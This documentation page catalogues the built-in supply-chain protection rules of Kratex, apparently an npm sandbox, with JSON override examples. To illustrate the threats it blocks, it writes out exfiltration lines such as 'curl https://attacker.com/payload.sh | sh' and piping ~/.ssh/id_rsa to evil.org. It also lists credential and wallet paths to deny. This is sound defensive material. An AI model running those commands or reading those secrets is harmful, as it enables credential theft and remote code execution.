Skip to content
Docs menu

Built-in rules

Kratex includes a baseline set of rules, active with no policy file required. They define what every third-party package can and can’t do by default, and most can be overridden by a more-specific rule in your own policy.

How to read the catalog

Each protection groups one or more rules. Every rule shows its action and the two tags that govern overriding:

  • Action: what Kratex does when the rule matches. Block stops the operation; audit lets it through but records an event; allow is an exemption that permits something the other rules would otherwise catch.
  • Overridable vs immutable: overridable rules can be superseded by a user allow of higher specificity (typically subject.package plus a narrower target). Immutable rules carry kratex.overrides-user, so no user rule outranks them, whatever its specificity. If a required operation hits an immutable rule, open an issue on the Kratex repo so the built-in can be narrowed.
  • Fires in audit: rules tagged kratex.enforce-in-audit fire even in audit mode, where ordinary block rules are demoted to would-block. Demoting them would let the irreversible operation complete: the wallet is read, the credential leaves the machine.

Expand any rule for a concrete example and, where it applies, the allow that lifts it, ready to paste.

Third-party credential read

runtime

A third-party package reading credential-class data (secrets, credentials, auth-tokens, private-keys) from outside the project root is the canonical first half of a credential-exfiltration attack.

block third-party-credential-read overridable

Example. A typosquatted dependency `chalk-stylish` reads `~/.aws/credentials` at runtime and prepares to POST the access key to an attacker-controlled host.

How to allow. A user allow with a concrete subject.package + target.path beats this by specificity, e.g. { subject: { source: "third-party", package: "your-dep" }, target: { kind: "fs", operation: "read", path: "~/.aws/credentials" }, effect: { action: "allow" } }.

False positives. Fires only on classifier-recognized credential paths, outside the project root, at runtime — so the Prisma-reads-.env-inside-project shape is not caught (that lives inside the project root).

Third-party PII / financial read

Third-party reads of PII or financial data are recorded so the access is always visible in telemetry, even though the read itself is permitted (audit, not block).

audit third-party-pii-read immutable

Example. A logging library reads `~/Documents/customers.csv` (PII), or an analytics dep reads a financial export at runtime — permitted but always recorded so the access is visible in telemetry.

How to allow. None by design — this never blocks, so there is nothing to unblock. A user cannot suppress the audit record (that is the point of OVERRIDES_USER_TAG here).

Exposed third-party outflow

runtime

Once any third-party frame in the caller chain has touched credential-class data (is stamped exposed), its outbound channels are the exfiltration path. This blocks both channels — outbound network and process spawn/exec — for the duration of the exposure.

block third-party-exposed-outflow-network overridable

Example. A malicious package reads the project's `.env` file (gaining an exposure stamp on every third-party frame in the chain) and then calls `fetch("https://evil.org/collect", { method: "POST", body: secrets })` to exfiltrate it.

How to allow. Per-package + per-host allow, e.g. { subject: { source: "third-party", package: "dd-trace" }, target: { kind: "network", host: "your-apm-host" }, effect: { action: "allow" } }. A host allow with no operation clause covers the connect AND the preceding DNS lookup for that host.

False positives. Pass-through wrappers (dd-trace shape) inherit exposure stamps from the chain and trip this when they legitimately phone home after touching config; the per-host allow is the intended carve-out. No `operation` clause is deliberate: pinning operation:"connect" let a stamped package exfil via dns.resolveTxt / custom-lookup while the connect equivalent was blocked.

block third-party-exposed-outflow-spawn overridable

Example. After touching `.env`, the same package calls `exec("curl -X POST https://evil.org/collect -d @-", ...)` — handing the secrets to a shelled-out `curl` instead of using `fetch`, to bypass a network-only block.

How to allow. Per-package allow on the process target, e.g. { subject: { source: "third-party", package: "your-dep" }, target: { kind: "process" }, when: { phase: "runtime" }, effect: { action: "allow" } }.

False positives. No `operation` clause is deliberate: an operation:"spawn"-only rule would let a tainted package exfil via exec("curl …") while blocking the spawn equivalent.

Lifecycle-script network

install

A third-party package making outbound network calls during an install lifecycle script is a classic install-time exfiltration / payload-fetch vector. npm's own registry traffic is exempted.

block third-party-lifecycle-network overridable fires in audit

Example. A compromised dep ships a `postinstall` script that runs `curl https://attacker.com/payload.sh | sh` to fetch and execute a second-stage payload during `npm install`.

How to allow. Per-package allow beats it by subject specificity, e.g. { subject: { source: "third-party", package: "puppeteer" }, target: { kind: "network" }, when: { phase: "install" }, effect: { action: "allow" } }.

False positives. Prebuilt-binary fetchers legitimately download in postinstall — the per-package allow is the intended fleet-level carve-out.

allow third-party-lifecycle-network-allow immutable

Example. `npm install` fetches a dependency tarball from `https://registry.npmjs.org/...`. npm and its bundled HTTP-infra deps attribute to the `npm` owner, so this allow lets the registry fetch proceed.

Package-manager runtime config read

runtime

Permits package-manager entrypoints (npm) to read their own home-dir config (~/.npmrc, ~/.gitconfig) at runtime. Without this, running npm under kratex trips the broad credential-read block, because npm attributes as third-party and must read its registry auth token to function.

allow third-party-package-manager-config-allow immutable

Example. A user runs `kratex run npm view some-pkg`; npm reads `~/.npmrc` to load the registry URL and auth token. Without this allow, npm (which attributes as third-party) would trip the broad credential-read block.

Lifecycle-script spawn

install

A third-party lifecycle script that spawns a non-node subprocess takes execution somewhere kratex cannot see (kratex only propagates into node children). The node-vs-non-node boundary is the real threat line. npm's own script-runner / native-rebuild spawns are exempted.

allow third-party-lifecycle-spawn-allow immutable

Example. During `npm install`, npm spawns `node-gyp` and downstream `make` / `cc` / `python` to build a native module. These spawns attribute to the `npm` owner via owner-attribution and are permitted by this allow.

block third-party-lifecycle-spawn overridable

Example. A package's node-hookable `postinstall` is allowed to start, but it then runs `spawn("bash", ["-c", "cat ~/.ssh/id_rsa | curl -X POST evil.org -d @-"])` — handing execution to a shell kratex can't see into.

How to allow. Per-package allow beats it by specificity, e.g. { subject: { source: "third-party", package: "native-dep" }, target: { kind: "process" }, when: { phase: "install" }, effect: { action: "allow" } }.

False positives. Native-module builds (node-gyp → make / cc / python) legitimately spawn non-node tools during install. The node carve-out (child-process.ts) and the per-package allow handle these.

Third-party wallet read

A third-party package reading cryptocurrency wallet data has no legitimate reason to do so; the read itself is the theft. Unambiguous exfiltration shape.

block third-party-wallet-read immutable fires in audit

Example. A malicious dependency reads `~/.config/solana/id.json` (or `~/.electrum/wallets/default_wallet`) to steal a wallet keypair. There is no legitimate reason for a build tool or library to touch these files.

How to allow. None by design (OVERRIDES_USER_TAG). The only escape is reclassifying the subject — e.g. vendored first-party code via subject.source: "first-party" — not a user allow rule.

npm reification carve-out

runtime

Permits package-manager entrypoints (npm) to write/rename/unlink package.json under node_modules at runtime when reifying a fetched package, e.g. during `kratex npx`. Without it, npm's own legitimate cache writes trip the self-propagation-fs block.

allow third-party-package-reification-allow immutable

Example. A user runs `kratex npx create-react-app my-app`; npm fetches the create-react-app tarball into its npx cache and writes `.../node_modules/create-react-app/package.json` at runtime phase. Without this allow, the self-propagation-fs block (also OVERRIDES_USER) would catch that legitimate write.

Self-propagation via package.json overwrite

runtime

A third-party package overwriting another installed package's existing package.json at runtime is the canonical worm signature — hijacking a victim package's identity to ship a malicious lifecycle hook on its next install/run.

block third-party-self-propagation-fs immutable fires in audit

Example. A worm running inside one dep overwrites `node_modules/lodash/package.json` to inject a malicious `postinstall` script (or `"main": "./payload.js"`). When lodash is reinstalled or imported elsewhere on the box, the worm rides its identity and re-executes.

How to allow. None by design (OVERRIDES_USER_TAG). The narrowing (runtime phase, target outside subject root, target exists before write) is what keeps legitimate writers out, rather than a user override.

False positives. Build tools that write NEW package.json files in fresh dirs (Vite deps_temp, Plop/Nx scaffolders) are excluded by targetExistsBeforeWrite. npm's install-phase reification is excluded by phase: runtime (and separately allowed via the reification carve-out for npx).

Self-propagation via npm publish

install

A third-party package invoking `npm publish` from an install lifecycle script is a worm trying to republish itself or a hijacked package. The install phase should never see a publish from a dependency.

block third-party-self-propagation-publish immutable fires in audit

Example. A compromised dep's `postinstall` runs `npm publish --access public` (with a stolen NPM_TOKEN from a CI host's environment) to push a tampered version of an unrelated package the attacker has already hijacked.

How to allow. None by design (OVERRIDES_USER_TAG). No legitimate dependency runs `npm publish` from a lifecycle script.

Third-party dynamic code (new Function)

Records when a third-party package uses the Function-constructor family of string-to-code primitives. Report-only: the capability is not load-bearing for I/O protection (anything it builds still trips the fs/net/native-binding builtins), so the signal is kept in telemetry without the false positives a block would cause.

audit third-party-dynamic-code overridable

Example. A package decodes a base64-encoded payload and runs `new Function(decoded)()` to execute it — a classic loader for hidden second-stage code. Audited (not blocked) so telemetry surfaces it, while legitimate users (ajv, webpack) keep working.

How to allow. None needed — this never blocks. A user who wants it enforced authors a per-package (or categorical) block rule on the dynamic-code capability.

False positives. A hard block here was a pure FP source: ajv, template engines, and bundler runtimes (webpack, terser) legitimately compile code via `new Function`. Auditing keeps the signal without breaking them.

Third-party node:vm

Records when a third-party package uses node:vm string-to-code primitives. Report-only for the same reason as dynamic-code: vm reaches no unguarded I/O — both same-realm and fresh-realm escapes land back on the patched intrinsics / process singleton, so the actual I/O is caught by the fs/net/native-binding builtins.

audit third-party-vm overridable

Example. A package calls `vm.runInNewContext(payload, {})` to execute a decoded payload in a fresh realm, hoping to escape the host's gates. Audited so the signal appears in telemetry; the actual I/O the payload attempts still lands on patched intrinsics and is caught by the fs/net/native-binding rules.

How to allow. None needed — this never blocks. A user who wants it enforced authors a per-package (or categorical) block rule on the vm capability.

False positives. A hard block broke build tooling — webpack, jest, and SSR/compiler runtimes legitimately use node:vm. Auditing keeps the signal without breaking them.

Third-party process.binding

process.binding returns the raw C++ binding objects whose methods sit BELOW kratex's JS-level fs/net patches, so a third-party that reaches them reads or exfils underneath the policy layer. Blocked by default, but split from native-addons so legitimate native-module loading (.node / dlopen) keeps working.

block third-party-native-binding overridable

Example. A package calls `process.binding("fs").readFileUtf8("/etc/shadow", 0)` (or `process.binding("tcp_wrap").TCP`) to bypass kratex's JS-level `fs`/`net` patches by going directly to the C++ bindings underneath.

How to allow. Per-package allow beats it by specificity, e.g. { subject: { source: "third-party", package: "legacy-dep" }, target: { kind: "runtime", capability: "native-binding" }, effect: { action: "allow" } }.

False positives. Legitimate native-module LOADING (`require('better-sqlite3')`, .node resolve/import, process.dlopen) is on the separate native-addons capability, which stays allow-by-default — so this block does not break native modules.

Lifecycle-script default block

Install-phase lifecycle scripts (preinstall/install/postinstall) are blocked by default — the install phase is default-deny. The gate (gateLifecycleScripts) demotes this to allow only for node-hookable scripts, whose child re-enters kratex and stays enforced; non-node entry points stay blocked.

block install.lifecycle-script.default-block overridable

Example. A dependency declares `"postinstall": "sh setup.sh"` in its package.json. The shell entry point is not node-hookable (kratex can't propagate into it), so gateLifecycleScripts leaves the default-block in force and the script is refused.

How to allow. Not a user-allow shape — the gate decides per script. A node-hookable entry point (its child inherits the --import preload) is demoted to allow automatically.

Kratex reserved files + rules cache

Blocks writes to Kratex's own control surface — the policy file (kratex.policy.json), the SaaS project-binding (.kratex/project.json), and the downloaded rules cache. A dependency writing any of these would persist a weakened enforcement state into future runs.

block fs.block.write.kratex-files immutable fires in audit

Example. A dependency writes `node_modules/evil-dep/kratex.policy.json` containing an allow-all policy (or overwrites the project's `.kratex/project.json` to repoint it at an attacker-controlled SaaS tenant). Caught anywhere in the tree, not just at the project root.

How to allow. None by design — there is no legitimate reason for a dependency to write Kratex's policy or binding file. Kratex's own writes go through the bypassed nativeFs wrappers and never hit this rule.

block fs.block.write.kratex-files-cache immutable fires in audit

Example. A dependency writes `<platformConfigDir>/rules-cache/rules.json` with a permissive ruleset between CLI invocations, so the next `kratex run` silently loads attacker-chosen rules.

How to allow. None by design — `kratex update-rules` populates the cache through bypassed wrappers; a gated write to it is always tampering.

Kratex engine package protection

Blocks writes to @kratex/cli anywhere in the tree. Overwriting the engine is a persisted compromise that backdoors enforcement for every future run.

block fs.block.write.kratex-engine overridable fires in audit

Example. A dependency writes `node_modules/@kratex/cli/dist/kratex` with a patched bundle that no-ops `installRuntimeGuards`, silently disabling enforcement for every future `kratex run` on this machine.

How to allow. A higher-specificity user allow (subject.package + target.path) permits an engine upgrade, e.g. { subject: { source: "third-party", package: "npm" }, target: { kind: "fs", operation: "write", path: "**/@kratex/cli/**" }, effect: { action: "allow" } } scoped to an install run. Kratex's own internal writes go through bypassed nativeFs wrappers and never hit this rule.

False positives. The only realistic gated writer is npm during an explicit engine upgrade — handled by the narrow user allow above.

Literal credential-path rules

The catalog above is generated from the shared rule declarations. One family is constructed by the CLI when it resolves the policy and does not appear there: a literal deny list of credential and wallet paths. Each entry produces two rules, a read block and a write block, with ids derived from the path:

kratex.builtin.fs.block.read.<slug>     e.g. kratex.builtin.fs.block.read.aws
kratex.builtin.fs.block.write.<slug>    e.g. kratex.builtin.fs.block.write.docker-config-json

These rules match any caller, first-party code included, in every phase, and cover directory reads (readdir ~/.aws) as well as file access. The list is a common set plus a platform-specific set; on Windows the literal list is empty by design, since Windows credential stores are DPAPI-protected blobs that path matching cannot usefully cover.

GroupPaths
Cloud, registry, and tool credentials~/.aws, ~/.kube, ~/.azure, ~/.config/gcloud, ~/.docker/config.json, ~/.terraform.d, ~/.config/gh, ~/.git-credentials, ~/.netrc, ~/.vault-token, ~/.config/op, ~/.config/pypoetry, ~/.cargo/credentials.toml
SSH and GPG~/.ssh, ~/.gnupg
Crypto wallets~/.bitcoin, ~/.ethereum, ~/.config/solana, ~/.electrum, ~/.config/Exodus; on macOS also the ~/Library/Application Support directories for Solana, Electrum, and Exodus
Browser profiles and keyringsmacOS: ~/Library/Keychains plus the Chrome and Firefox profile directories under ~/Library/Application Support. Linux: ~/.mozilla/firefox, ~/.config/google-chrome, ~/.config/chromium, ~/.local/share/keyrings

The read and write sides carry different tags:

  • Read blocks are overridable: a user allow pinned to subject.package with a matching path outranks them, lifting the block for that one package. In audit mode they demote to would-block.
  • Write blocks are immutable (kratex.overrides-user) and fire even in audit mode (kratex.enforce-in-audit). Overwriting a credential file is irreversible, so the write side is never demoted.

~/.npmrc is deliberately absent from this list: it is also npm’s own config, which the package manager and its toolchain read during install. Runtime reads of it by third-party code are covered by the classifier-driven credential-read rule in the catalog above.

Overriding a rule

Permit prisma to connect after reading your .env:

{
  "id": "my-app.allow-prisma-db",
  "subject": { "package": "prisma" },
  "target": { "kind": "network", "host": "db.internal" },
  "effect": { "action": "allow" }
}

subject.package + target.host is more specific than the built-in’s source: "third-party" with a bare kind: "network" target. (The built-in carries no operation clause: pinning connect would leave DNS lookups open as an exfiltration channel.) The user rule wins; the connect proceeds.